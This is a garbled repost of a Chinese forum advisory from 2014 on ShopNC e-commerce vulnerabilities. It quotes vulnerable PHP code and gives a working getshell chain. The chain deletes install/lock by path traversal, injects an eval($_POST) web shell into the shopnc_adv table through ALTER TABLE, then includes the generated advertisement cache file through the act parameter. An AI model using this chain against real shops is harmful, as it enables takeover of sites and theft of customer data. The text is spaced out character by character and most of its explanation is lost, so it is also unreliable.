[7863] 2014-03-11_电子商务系统ShopNC多个漏洞(可暴力getshell)

文档创建者:s7ckTeam
浏览次数:10
最后更新:2025-01-17
2014-03-11_电子商务系统ShopNC多个漏洞(可暴力getshell) S h o p N C (   g e t s h e l l ) Y a s e n g   F r e e B u f   2 0 1 4 - 0 3 - 1 1 S h o p N C S P H P 5 M V C   s h o p n c , g e t s h e l l - _ -   c o n t r o l s t o r e . p h p   1 4 3 8     ( , ) . . . . . . . . $ m o d e l _ u p l o a d   =   M o d e l ( ' u p l o a d ' ) ;                 $ f i l e _ i n f o   =   $ m o d e l _ u p l o a d - > g e t O n e U p l o a d ( i n t v a l ( $ _ G E T [ ' f i l e _ i d ' ] ) ) ;                 i f ( ! $ f i l e _ i n f o ) {                             @ u n l i n k ( A T T A C H _ S L I D E . D S . $ _ G E T [ ' i m g _ s r c ' ] ) ;                 } e l s e {   . . . . . . . .   / f r a m e w o r k / c o r e / b a s e . p h p   7 1 $ a c t _ f i l e   =   r e a l p a t h (   B a s e P a t h . D S . " c o n t r o l " . D S . $ _ G E T [ ' a c t ' ] . " . p h p "   ) ;   }         i f   (   i s _ f i l e (   $ a c t _ f i l e   )   )   {                     r e q u i r e (   $ a c t _ f i l e   ) ;                     $ c l a s s _ n a m e   =   $ _ G E T [ ' a c t ' ] . " C o n t r o l " ;                     i f   (   c l a s s _ e x i s t s (   $ c l a s s _ n a m e   )   ) s h e l l   m o d e l / a d v _ m o d e l . p h p   4 1 6   p u b l i c   f u n c t i o n   m a k e A d v C a c h e ( $ a d v ) {                
    $ l a n g   =   L a n g u a g e : : g e t L a n g C o n t e n t ( ) ;                     $ t m p   . =   " < ? p h p   r n " ;                     $ t m p   . =   " d e f i n e d ( ' I n S h o p N C ' )   o r   e x i t ( ' A c c e s s   I n v a l i d ! ' ) ;   r n " ;                     i f   ( i s _ n u m e r i c ( $ a d v )   & &   $ a d v   >   0 ) {           $ c o n d i t i o n [ ' a d v _ i d ' ]   =   $ a d v ;                                 $ a d v _ i n f o   =   $ t h i s - > g e t L i s t ( $ c o n d i t i o n ) ;                                 $ a d v   =   $ a d v _ i n f o [ ' 0 ' ] ;                     }         . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .                                               $ c o n t e n t   =   a d d s l a s h e s ( $ v ) ;                         $ c o n t e n t   =   s t r _ r e p l a c e ( ' $ ' , ' $ ' , $ c o n t e n t ) ;   / / $                         $ t m p   . =   ' $ ' . $ k . "   =   " " . $ c o n t e n t . " " ;   r n " ; }                 / /                   $ c a c h e _ f i l e   =   B a s e P a t h . ' / c a c h e / a d v / a d v _ ' . $ a d v [ ' a d v _ i d ' ] . ' . c a c h e . p h p ' ;                 f i l e _ p u t _ c o n t e n t s ( $ c a c h e _ f i l e , $ t m p ) ; g e t L i s t   p u b l i c   f u n c t i o n   g e t L i s t ( $ c o n d i t i o n = a r r a y ( ) ,   $ p a g e = ' ' ,   $ l i m i t = ' ' ,   $ o r d e r b y = ' ' ) {             $ p a r a m   =   a r r a y ( ) ;             $ p a r a m [ ' t a b l e ' ]   =   ' a d v ' ;           $ p a r a m [ ' f i e l d ' ]   =   $ c o n d i t i o n [ ' f i e l d ' ] ? $ c o n d i t i o n [ ' f i e l d ' ] : ' * ' ;             $ p a r a m [ ' w h e r e ' ]   =   $ t h i s - > g e t C o n d i t i o n ( $ c o n d i t i o n ) ;             i f ( $ o r d e r b y   = =   ' ' ) {                         $ p a r a m [ ' o r d e r ' ]   =   ' s l i d e _ s o r t ,   a d v _ i d   d e s c ' ;             } e l s e {                         $ p a r a m [ ' o r d e r ' ]   =   $ o r d e r b y ;             }             $ p a r a m [ ' l i m i t ' ]   =   $ l i m i t ;             r e t u r n   D b : : s e l e c t ( $ p a r a m , $ p a g e ) ; } , k e y , v a l u e   k e y , k e y   , , . S h o p N c   G e t S h e l l ,   g e t s h e l l   = >     = >     s h o p n c _ a d v     = > 广   = > g e t s h e l l 1 : h t t p : / / w w w . x x x . c o m / i n d e x . p h p ? a c t = s t o r e & o p = d o r p _ i m g & f i l e _ i d = 1 6 & i m g _ s r c = / . . / . . / . . / i n s t a l l / l o c k 2 : 3 : M y S Q L     s q l     A L T E R   T A B L E   ` s h o p n c _ a d v `   A D D   ` { e v a l ( $ _ P O S T [ 1 ] ) } `   V A R C H A R (   1 0 0   )   N O T   N U L L   4 :   广     h t t p : / / w w w . x x x . c o m / a d m i n / i n d e x . p h p ? a c t = a d v & o p = a d v _ e d i t & a d v _ i d = 1 4
5 : s h e l l       h t t p : / / w w w . x x x . c o m / i n d e x . p h p ? a c t = . . / c a c h e / a d v / a d v _ 1 4 . c a c h e
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则